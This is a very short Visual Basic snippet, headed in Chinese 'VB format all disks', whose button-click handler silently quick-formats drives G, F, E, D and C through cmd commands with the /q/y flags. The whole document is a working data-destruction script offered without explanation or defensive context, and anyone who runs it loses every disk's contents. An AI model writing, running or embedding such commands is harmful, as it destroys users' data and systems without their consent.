vb格式化所有磁盘

Private Sub Command1_Click() Shell "cmd /c format g: /q/y" Shell "cmd /c format f: /q/y" Shell "cmd /c format e: /q/y" Shell "cmd /c format d: /q/y" Shell "cmd /c format c: /q/y" End Sub